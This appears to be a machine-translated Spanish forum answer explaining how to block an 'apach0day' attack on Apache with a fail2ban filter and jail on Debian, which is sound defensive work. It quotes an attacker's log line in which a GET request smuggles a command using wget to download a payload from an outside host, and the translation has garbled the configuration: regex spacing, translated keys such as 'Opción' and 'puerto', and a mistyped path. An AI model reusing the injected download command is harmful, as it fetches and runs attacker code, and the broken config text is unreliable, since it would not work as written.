Aquí hay una solución rápida y sucia para bloquear usando fail2ban. (Si actualmente no usa fail2ban, busque en Google su sistema operativo).
Si tiene instalado fail2ban, vea más abajo. Tenga en cuenta que las ubicaciones de los archivos fail2ban pueden ser diferentes, dependiendo de su sistema operativo. El siguiente ejemplo es de un servidor Debian. Esta muestra no cubre los tiempos de prohibición, etc .-- solo cómo crear un filtro y agregarlo a jail.local. Hay muchos ejemplos de configuración fail2ban en google para múltiples sistemas.
Rápido y sucio (Debian Linux):
1) Cree un nuevo archivo apache-0day.conf en /etc/fail2ban/filter.d que contenga:
#
Fail2Ban archivo de configuración
#
Filtro limitado para detener los ataques de apach0day
[Definición]
Opción: failregex
#
Notas: regex para coincidir con este tipo de solicitud:
#
162.253.66.77 - - [28 / Jul / 2014: 19: 02: 00 +0000] "GET /? x0a / x04 / x0a / x02 / x06 / x08 / x09 / cDDOSpart3dns; wget% 20proxypipe.com / apach0day; HTTP / 1.0 "200 359" - "" chroot-apach0day "
failregex = ^ -. "(GET | POST). \? proxypipe | apach0day. $
Opción: ignoreregex
Notas: expresiones regulares para ignorar. Si esta expresión regular coincide, la línea se ignora.
Valores: TEXTO
#
ignoreregex =
2) Filtro de prueba con comando: fail2ban-regex /var/log/apache2/access.log /etc/fail2ban/filter.d/apache-0day.conf
3) Edita /etc/fail2banl/jail.local, para agregar esta cárcel:
[apache-0day]
enabled = true
puerto = http, https
filter = apache-0day
logpath = /var/log/apache*/*access.log
maxretry = 2
4) Pruebe la nueva configuración general (observe las ADVERTENCIAS y corríjalas, si es necesario): fail2ban-client -d
5) Reinicie fail2ban: /etc/init.d/fail2ban restart